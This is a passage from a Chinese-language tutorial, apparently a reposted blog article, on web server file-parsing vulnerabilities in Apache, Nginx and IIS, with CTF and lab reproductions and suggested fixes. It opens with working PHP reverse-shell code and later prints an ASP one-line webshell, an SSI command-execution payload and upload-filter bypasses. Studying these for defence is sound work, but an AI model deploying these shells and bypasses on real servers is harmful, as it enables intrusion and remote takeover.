if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
-
php決議上傳的shell2.php.jpg

-
成功反彈shell

-
漏洞修復:將AddHandler application/x-httpd-php.php組態檔洗掉,
15. Apache換行決議漏洞(CVE-2017-15715)
- 知識小點:將linux下檔案復制到docker容器中:
第一步:查看docker容器名,或者容器短ID
#查看當前運行容器:
docker ps
#查看所有容器:
docker ps -a

第二步:查看容器的長ID
docker inspect -f '{{.ID}}' 容器名/短ID

第三步:將檔案復制到docker容器中
docker cp 本地路徑 容器長ID:目標路徑

- 漏洞原理:由于修復后綴名決議漏洞,用正則來匹配后綴,在決議檔案phpinfo.php[0x0A]時會將檔案當做php檔案進行決議,導致繞過服務器的一些安全策略
- 漏洞存在版本:apache的2.4.0~2.4.29
- 漏洞復現:
這里我們需要自己添加前端原始碼,將以下的前端代碼添加到index.php,這里就要用到以上向容器中復制檔案的步驟,當然還有一種簡單的方法,就是打開F12頁面,將下面HTML源代碼添加上去即可
<html>
<head><meta charset="utf-8"></head>
<body>
<form action method="post" enctype="multipart/form-data">
<label for="file">檔案名:</label>
<input type="file" name="file" id="file"><br>
<input type="text" name="name" <br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
從原始碼中可以看出這里對php等檔案后綴進行了黑名單過濾

添加原始碼后,訪問的主頁:

- 上傳phpinfo.php檔案,并將其重命名為a.php

在上傳前使用burp將a.php修改為a.php[0x0a],然后Send

訪問上傳的檔案a.php[0x0a],可以發現已經將檔案決議為php格式
http://192.168.30.209:8080/a.php%0a

然后就可以上傳惡意的php代碼,進行phpj決議,反彈shell等操作
- 漏洞修復:升級Apache版本,在原始碼中對用戶上傳的檔案名進行檢查,過濾[0x0a]
16. Apache遠程命令執行漏洞(ssi-rce)
-
漏洞原理:這是一個配置不當造成的決議漏洞,和nginx的版本無關,如果服務器開啟了SSI(Server Side Include)與CGI支持,我們可以上傳一個
.shtml檔案,內容類似<!--#exec cmd='ls'-->這樣形式去執行任意命令, -
漏洞復現:
訪問upload.php,上傳php檔案發現上傳失敗

上傳一個exec.shtml檔案,內容為<!--#exec cmd="whoami" -->

訪問上傳的檔案,發現成功執行命令

17. Apache htaccess檔案上傳漏洞
- 分布式組態檔htaccess
漏洞復現:BUUCTF-你傳你🐎呢
-
寫一個.htaccess檔案用于將.jpg決議成.php

-
上傳時注意修改型別image/jpeg

-
上傳假圖片頭馬


-
蟻劍連接

-
查看flag

18. Apache、Nginx和IIS等.user.ini檔案上傳漏洞
- 漏洞原理:只要是fastcgi運行php,都可以修改.user.ini來造成決議漏洞
漏洞復現:BUUCTF-CheckIn
原著
.user.ini是什么? 上傳.user.ini檔案,條件如下:
(1)服務器腳本語言為PHP
(2)對應目錄下面有可執行的php檔案
(3)服務器使用CGI/FastCGI模式
服務器以fastcgi啟動運行的時候,.user.ini也是php的一種組態檔,php.ini是php的組態檔,它可以做到顯示報錯,匯入擴展,檔案決議,web站點路徑等等設定,但是如果想要把某個檔案里面的配置與全域的php.ini不同,則可以在php檔案中加上ini_set()來配置特定的配置變數,
而.user.ini和.htaccess一樣是對當前目錄的所以php檔案的配置設定,即寫了.user.ini和它同目錄的檔案會優先使用.user.ini中設定的配置屬性,
但是不是php.ini中的每個變數都能通過ini_set()或者.user.ini和.htaccess來設定,簡單的來說每個變數有它所屬于的模式,
auto_prepend_file=abc.jpg
這個auto_prepend_file就是指定一個檔案在主檔案決議前決議,這個配置在涉及到FPM的題里可以說是非常常見了,幾乎每次和FPM有關的題都要利用這個配置
- 上傳.user.ini


-
上傳abc.jpg,這樣寫的原因是因為原始碼對上傳的檔案過濾了<?,為了繞過過濾


-
訪問上傳路徑的主頁,出現GIF89a

-
訪問php主頁資訊

-
查看flag


IIS
19. IIS 6.X決議漏洞
IIS(Internet Information Services)目前只適用于Windows系統
-
影響版本:IIS 6.X
-
一、基于檔案名
-
漏洞原理:該版本會將形如*.asp;.jpg這種格式的檔案,當成asp決議,原理是服務器默認不決議
;后面的內容,起到了截斷作用 -
這里拿了大佬的圖

-
IIS6.X不僅會將.asp后綴檔案決議成asp檔案,也會將asa,cer,cdx檔案解成asp檔案
-
二、基于目錄名
該漏洞會將*.asp/目錄下的檔案都當做.asp檔案進行決議 -
漏洞復現:這里直接使用墨者學院靶場

上傳asp一句話木馬
<%eval request("shell")%

burp抓包修改檔案夾名

上傳成功

蟻劍成功連接

查看flag

漏洞修復:官方并不認為這是一個漏洞,并沒有推出漏洞補丁,所以這里需要自行修復,修復方法:
- 限制上傳目錄執行權力,不允許執行腳本
- 禁止用戶創建檔案夾
- 對用戶上傳的檔案進行重命名(時間戳+亂數+.jpg)
20. IIS 7.X決議漏洞
IIS在Fast-CGI運行模式下,在任意檔案后面加上/.php都會將檔案決議成php檔案,例:訪問test.jpg檔案時,在后面加上/.php將會將檔案決議成php格式

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/354522.html
標籤:其他
上一篇:Locally Differential Private Frequency Estimation with Consistency: LDP的主流后處理演算法
下一篇:遠程代碼執行漏洞分析
